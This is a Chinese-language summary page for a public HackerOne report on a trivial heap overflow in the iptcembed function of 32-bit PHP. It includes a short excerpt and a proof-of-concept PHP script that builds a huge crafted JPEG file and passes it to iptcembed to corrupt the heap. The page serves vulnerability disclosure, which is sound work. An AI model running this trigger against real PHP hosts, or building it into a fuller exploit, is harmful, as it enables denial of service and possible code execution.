Trivial age-old heap overflow in 32-bit PHP
该报告还没有中文解读。
原文摘录
摘自原文(2824 字符中的一小部分)
Given one is able to execute a PHP file there exists a trivial heap overflow in the `ext/standard/iptc.c` module, a module which exports the `iptcembed` and `iptcparse` functions. It should be noted that the implementation of these functions is - in some countries - allowed to drink beer and get …
原文中的代码
<?php
if(file_exists("heapyolo") == 0) {
$fp = fopen("heapyolo", "wb");
fwrite($fp, "\xff\xd8\xff\xe0\x00\x02\x00\xd9");
for ($i = 0; $i < 4096; $i++) {
fwrite($fp, str_repeat("A", 1024*1024));
}
fclose($fp);
}
iptcembed(str_repeat("A", 1024*1024), "heapyolo");
?>默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @jbremer · 版权归作者与 Internet Bug Bounty 所有